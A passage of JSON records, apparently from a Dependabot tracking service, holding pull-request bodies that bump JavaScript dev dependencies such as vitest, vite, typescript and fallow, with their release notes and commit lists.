href=\"https://github.com/darkroomengineering/lenis/commit/ad99a23b682756c5ccafa6dd037ebd795ce2e9b0\"\u003e\u003ccode\u003ead99a23\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/darkroomengineering/lenis/issues/542\"\u003e#542\u003c/a\u003e from cipherprofessor/fix/clear-reset-velocity-timeout...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/bc152f90d7c9b04ef372718350e2f616f3c706b2\"\u003e\u003ccode\u003ebc152f9\u003c/code\u003e\u003c/a\u003e chore: point CODEOWNERS at the engineering team (\u003ca href=\"https://redirect.github.com/darkroomengineering/lenis/issues/547\"\u003e#547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/darkroomengineering/lenis/commit/2e14ce85aa482d869799df4a25a872bb74400676\"\u003e\u003ccode\u003e2e14ce8\u003c/code\u003e\u003c/a\u003e fix(core): clear pending native-scroll velocity timeout on destroy()\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/darkroomengineering/lenis/compare/v1.3.26...v1.3.27\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@vitest/coverage-v8` from 3.2.4 to 3.2.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003e@​vitest/coverage-v8's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.2.7\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10679\"\u003evitest-dev/vitest#10679\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b795e36b3\"\u003e\u003c!-- raw HTML omitted --\u003e(b795e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.6...v3.2.7\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev3.2.6\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePin last supported vite-node version  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/16f120d05\"\u003e\u003c!-- raw HTML omitted --\u003e(16f12)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.5...v3.2.6\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev3.2.5\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e: Add \u003ccode\u003eallowWrite\u003c/code\u003e and \u003ccode\u003eallowExec\u003c/code\u003e options to \u003ccode\u003eapi\u003c/code\u003e [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10445\"\u003evitest-dev/vitest#10445\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/af88b1f5d\"\u003e\u003c!-- raw HTML omitted --\u003e(af88b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10456\"\u003evitest-dev/vitest#10456\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/385a1aefd\"\u003e\u003c!-- raw HTML omitted --\u003e(385a1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.4...v3.2.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c0c203db7ae2948536ad54f93e3a2b168334e245\"\u003e\u003ccode\u003ec0c203d\u003c/code\u003e\u003c/a\u003e chore: release v3.2.7 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8/issues/10719\"\u003e#10719\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/b6d56f8171ae814ee7571df63a35a0da5203dbaa\"\u003e\u003ccode\u003eb6d56f8\u003c/code\u003e\u003c/a\u003e chore: release v3.2.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/16f120d0585677f6a32bcb3dd01fa61c140e2588\"\u003e\u003ccode\u003e16f120d\u003c/code\u003e\u003c/a\u003e fix: pin last supported vite-node version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/2cbad0a923c48c6144266df3cd25f93547cb5221\"\u003e\u003ccode\u003e2cbad0a\u003c/code\u003e\u003c/a\u003e chore: release v3.2.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/385a1aefd4c2bfa5e7d58bf7c6834c929969f2c7\"\u003e\u003ccode\u003e385a1ae\u003c/code\u003e\u003c/a\u003e fix(browser): disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [ba...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v3.2.7/packages/coverage-v8\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​vitest/coverage-v8\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 6.4.3 to 6.4.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.4\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.4/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.4/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.4 (2026-10-06)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(deps): update launch-editor to v2.14.2 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23654\"\u003e#23654\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/8afec69d6360857ebe35516781ef96e93df3f54e\"\u003e8afec69\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23654\"\u003e#23654\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(html): filename passed to transformIndexHtml should not include queries (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23653\"\u003e#23653\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/19902cfcfa3e02114bf8d6692fe638ace36b5ac9\"\u003e19902cf\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23653\"\u003e#23653\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(server): check resolved ids for transform access (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20410\"\u003e#20410\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/eec64641970af6f69c026c70bf547601218c9c12\"\u003eeec6464\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20410\"\u003e#20410\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(server): store ids to \u003ccode\u003esafeModulePaths\u003c/code\u003e rather than URLs (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23656\"\u003e#23656\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0\"\u003ee570d8d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/23656\"\u003e#23656\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/5f0d9a4aaa31124695e7cf6ffe349e9d0a4b705e\"\u003e\u003ccode\u003e5f0d9a4\u003c/code\u003e\u003c/a\u003e release: v6.4.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/eec64641970af6f69c026c70bf547601218c9c12\"\u003e\u003ccode\u003eeec6464\u003c/code\u003e\u003c/a\u003e fix(server): check resolved ids for transform access (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20410\"\u003e#20410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/e570d8d016096b5f8f6f09808376ca6cf73f27d0\"\u003e\u003ccode\u003ee570d8d\u003c/code\u003e\u003c/a\u003e fix(server): store ids to \u003ccode\u003esafeModulePaths\u003c/code\u003e rather than URLs (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23656\"\u003e#23656\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/8afec69d6360857ebe35516781ef96e93df3f54e\"\u003e\u003ccode\u003e8afec69\u003c/code\u003e\u003c/a\u003e fix(deps): update launch-editor to v2.14.2 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/23654\"\u003e#23654\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/19902cfcfa3e02114bf8d6692fe638ace36b5ac9\"\u003e\u003ccode\u003e19902cf\u003c/code\u003e\u003c/a\u003e fix(html): filename passed to transformIndexHtml should not include queries (...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitejs/vite/commits/v6.4.4/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vitest` from 3.2.4 to 3.2.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitest-dev/vitest/releases\"\u003evitest's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.2.7\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Check fs access in builtin commands [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e, \u003cstrong\u003eHiroshi Ogawa\u003c/strong\u003e and \u003cstrong\u003eOpenCode (claude-opus-4-8)\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10679\"\u003evitest-dev/vitest#10679\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/b795e36b3\"\u003e\u003c!-- raw HTML omitted --\u003e(b795e)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.6...v3.2.7\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev3.2.6\u003c/h2\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePin last supported vite-node version  -  by \u003ca href=\"https://github.com/sheremet-va\"\u003e\u003ccode\u003e@​sheremet-va\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/16f120d05\"\u003e\u003c!-- raw HTML omitted --\u003e(16f12)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.5...v3.2.6\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003ch2\u003ev3.2.5\u003c/h2\u003e\n\u003ch3\u003e   🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi\u003c/strong\u003e: Add \u003ccode\u003eallowWrite\u003c/code\u003e and \u003ccode\u003eallowExec\u003c/code\u003e options to \u003ccode\u003eapi\u003c/code\u003e [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10445\"\u003evitest-dev/vitest#10445\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/af88b1f5d\"\u003e\u003c!-- raw HTML omitted --\u003e(af88b)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e   🐞 Bug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ebrowser\u003c/strong\u003e: Disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [backport to v3]  -  by \u003ca href=\"https://github.com/hi-ogawa\"\u003e\u003ccode\u003e@​hi-ogawa\u003c/code\u003e\u003c/a\u003e and \u003cstrong\u003eCodex\u003c/strong\u003e in \u003ca href=\"https://redirect.github.com/vitest-dev/vitest/issues/10456\"\u003evitest-dev/vitest#10456\u003c/a\u003e \u003ca href=\"https://github.com/vitest-dev/vitest/commit/385a1aefd\"\u003e\u003c!-- raw HTML omitted --\u003e(385a1)\u003c!-- raw HTML omitted --\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch5\u003e    \u003ca href=\"https://github.com/vitest-dev/vitest/compare/v3.2.4...v3.2.5\"\u003eView changes on GitHub\u003c/a\u003e\u003c/h5\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/c0c203db7ae2948536ad54f93e3a2b168334e245\"\u003e\u003ccode\u003ec0c203d\u003c/code\u003e\u003c/a\u003e chore: release v3.2.7 (\u003ca href=\"https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest/issues/10719\"\u003e#10719\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/b6d56f8171ae814ee7571df63a35a0da5203dbaa\"\u003e\u003ccode\u003eb6d56f8\u003c/code\u003e\u003c/a\u003e chore: release v3.2.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/16f120d0585677f6a32bcb3dd01fa61c140e2588\"\u003e\u003ccode\u003e16f120d\u003c/code\u003e\u003c/a\u003e fix: pin last supported vite-node version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/2cbad0a923c48c6144266df3cd25f93547cb5221\"\u003e\u003ccode\u003e2cbad0a\u003c/code\u003e\u003c/a\u003e chore: release v3.2.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/385a1aefd4c2bfa5e7d58bf7c6834c929969f2c7\"\u003e\u003ccode\u003e385a1ae\u003c/code\u003e\u003c/a\u003e fix(browser): disable client \u003ccode\u003ecdp\u003c/code\u003e API when \u003ccode\u003eallowWrite/allowExec: false\u003c/code\u003e [ba...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitest-dev/vitest/commit/af88b1f5d82844a4761ea9a977156c98e2b14ca8\"\u003e\u003ccode\u003eaf88b1f\u003c/code\u003e\u003c/a\u003e feat(api): add \u003ccode\u003eallowWrite\u003c/code\u003e and \u003ccode\u003eallowExec\u003c/code\u003e options to \u003ccode\u003eapi\u003c/code\u003e [backport to v3]...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/vitest-dev/vitest/commits/v3.2.7/packages/vitest\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for vitest since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Okohedeki/scroll-studio/pull/111","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Okohedeki%2Fscroll-studio/issues/111","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/111/packages"}},{"old_version":"4.1.12","new_version":"5.0.5","update_type":"major","path":null,"pr_created_at":"2026-10-24T01:40:57.000Z","version_change":"4.1.12 → 5.0.5","issue":{"uuid":"6008114644","node_id":"PR_kwDOQM4Qqc8AAAABKYQPSg","number":41,"state":"closed","title":"chore(deps-dev): bump the dev-dependencies group with 5 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":"2026-10-24T01:43:08.000Z","author_association":null,"state_reason":null,"created_at":"2026-10-24T01:40:57.000Z","updated_at":"2026-10-24T01:43:08.000Z","time_to_close":131,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev): bump","group_name":"dev-dependencies","update_count":5,"packages":[{"name":"fallow","old_version":"3.27.0","new_version":"3.34.1","repository_url":"https://github.com/fallow-rs/fallow"},{"name":"tsx","old_version":"4.23.1","new_version":"4.23.15","repository_url":"https://github.com/privatenumber/tsx"},{"name":"typescript","old_version":"6.0.3","new_version":"7.0.2","repository_url":"https://github.com/microsoft/TypeScript"},{"name":"vitest","old_version":"4.1.12","new_version":"5.0.5","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"wrangler","old_version":"4.151.0","new_version":"4.151.3","repository_url":"https://github.com/cloudflare/workers-sdk"}],"path":null,"ecosystem":"npm"},"body":"Bumps the dev-dependencies group with 5 updates:\n\n| Package | From | To |\n| --- | --- | --- |\n| [fallow](https://github.com/fallow-rs/fallow) | `3.27.0` | `3.34.1` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.23.1` | `4.23.15` |\n| [typescript](https://github.com/microsoft/TypeScript) | `6.0.3` | `7.0.2` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.12` | `5.0.5` |\n| [wrangler](https://github.com/cloudflare/workers-sdk/tree/HEAD/packages/wrangler) | `4.151.0` | `4.151.3` |\n\nUpdates `fallow` from 3.27.0 to 3.34.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fallow-rs/fallow/releases\"\u003efallow's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.34.1: Oxlint config names, coverage maps, Vue templates and workspace globs\u003c/h2\u003e\n\u003ch2\u003eBug fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eThe Oxlint plugin reads \u003ccode\u003e.oxlintrc.jsonc\u003c/code\u003e and \u003ccode\u003eoxlint.config.mts\u003c/code\u003e.\u003c/strong\u003e Oxlint finds these config files on its own, but fallow did not read them. Packages in their \u003ccode\u003ejsPlugins\u003c/code\u003e lists, at the top level and in \u003ccode\u003eoverrides\u003c/code\u003e, showed as unused dependencies, and \u003ccode\u003eoxlint.config.mts\u003c/code\u003e showed as an unused file. Fallow now reads every config file name that Oxlint finds. Comments and trailing commas in \u003ccode\u003e.oxlintrc.jsonc\u003c/code\u003e parse correctly. Thanks \u003ca href=\"https://github.com/gwynnnplaine\"\u003e\u003ccode\u003e@​gwynnnplaine\u003c/code\u003e\u003c/a\u003e for the report and the analysis. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3525\"\u003e#3525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eA coverage map with a negative hit count loads.\u003c/strong\u003e Vitest \u003ccode\u003ecoverage-v8\u003c/code\u003e can write a negative branch count, for example \u003ccode\u003e[5, -1]\u003c/code\u003e, for the implicit else of an \u003ccode\u003eif\u003c/code\u003e. Fallow rejected the whole map. When \u003ccode\u003e--coverage\u003c/code\u003e or \u003ccode\u003eFALLOW_COVERAGE\u003c/code\u003e named the map, \u003ccode\u003efallow health\u003c/code\u003e and \u003ccode\u003efallow audit\u003c/code\u003e stopped with exit 2. Fallow now reads a negative count in \u003ccode\u003es\u003c/code\u003e, \u003ccode\u003ef\u003c/code\u003e, \u003ccode\u003eb\u003c/code\u003e or \u003ccode\u003eb_T\u003c/code\u003e as 0, which is a miss. An auto-detected map that fails to load now gives a note that says fallow ignored it. Before, the note said that fallow used it. Thanks \u003ca href=\"https://github.com/norvalbv\"\u003e\u003ccode\u003e@​norvalbv\u003c/code\u003e\u003c/a\u003e for the report and the reproduction. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3564\"\u003e#3564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eA \u003ccode\u003e\u0026lt;\u003c/code\u003e inside a nested Vue \u003ccode\u003e\u0026lt;template\u0026gt;\u003c/code\u003e keeps the references of the template.\u003c/strong\u003e In \u003ccode\u003e\\\u0026lt;template v-if=\u0026quot;W\u0026quot;\u0026gt;{{ 1 \u0026lt; 2 }}\u0026lt;/template\u0026gt;\u003c/code\u003e, fallow read the \u003ccode\u003e\u0026lt;\u003c/code\u003e as the start of a tag and lost each name that the template used. Fallow then reported a named import that only the template used as an unused export. Fallow now skips \u003ccode\u003e{{ }}\u003c/code\u003e interpolations when it looks for the closing \u003ccode\u003e\u0026lt;/template\u0026gt;\u003c/code\u003e. When no letter, \u003ccode\u003e/\u003c/code\u003e, \u003ccode\u003e!\u003c/code\u003e or \u003ccode\u003e?\u003c/code\u003e follows a \u003ccode\u003e\u0026lt;\u003c/code\u003e, fallow reads it as text, as in HTML. The cache versions change, so a warm cache does not keep the old result. Thanks \u003ca href=\"https://github.com/BrocksiNet\"\u003e\u003ccode\u003e@​BrocksiNet\u003c/code\u003e\u003c/a\u003e for the report and the minimal reproduction. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3543\"\u003e#3543\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e\u003ccode\u003efallow health --type-aware --type-coupling\u003c/code\u003e passes \u003ccode\u003e--type-aware-require complete\u003c/code\u003e on large projects.\u003c/strong\u003e The command failed \u003ccode\u003e--type-aware-require complete\u003c/code\u003e on projects with more than 40 coupling edges. The coupling report is one report for the whole project, and it now holds up to 10,000 evidence items. Fallow now reports a complete analysis as \u003ccode\u003ecomplete\u003c/code\u003e. Symbol, impact, and API-surface results keep the limit of 40 items. Above 10,000 items, the report stays \u003ccode\u003epartial\u003c/code\u003e with the \u003ccode\u003eevidence-limit\u003c/code\u003e reason. Thanks \u003ca href=\"https://github.com/samaluk\"\u003e\u003ccode\u003e@​samaluk\u003c/code\u003e\u003c/a\u003e for the report and the experiment. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3563\"\u003e#3563\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eWorkspace globs no longer read directories outside the project root.\u003c/strong\u003e An absolute entry, or an entry such as \u003ccode\u003e../*\u003c/code\u003e, in \u003ccode\u003epackage.json\u003c/code\u003e \u003ccode\u003eworkspaces\u003c/code\u003e, \u003ccode\u003epnpm-workspace.yaml\u003c/code\u003e \u003ccode\u003epackages\u003c/code\u003e, \u003ccode\u003edeno.json\u003c/code\u003e \u003ccode\u003eworkspace\u003c/code\u003e, or the \u003ccode\u003eworkspaces.patterns\u003c/code\u003e config listed directories outside the root. Fallow added no package from them. But a directory without a \u003ccode\u003epackage.json\u003c/code\u003e got a \u003ccode\u003eglob-matched-no-package-json\u003c/code\u003e diagnostic with its outside path. Fallow now skips such an entry before it reads the disk. A new \u003ccode\u003eworkspace-glob-outside-root\u003c/code\u003e diagnostic names the entry and the file that declares it. The run does not exit with an error, because npm, pnpm, and yarn accept a \u003ccode\u003e../\u003c/code\u003e workspace entry. A \u003ccode\u003e..\u003c/code\u003e that stays inside the root, as in \u003ccode\u003epackages/../libs/*\u003c/code\u003e, still works. The findings do not change. (\u003ca href=\"https://redirect.github.com/fallow-rs/fallow/issues/3574\"\u003e#3574\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fallow-rs/fallow/compare/v3.34.0...v3.34.1\"\u003ehttps://github.com/fallow-rs/fallow/compare/v3.34.0...v3.34.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev3.34.0: fallow mutation, segment-safe config globs, audit sub-analysis 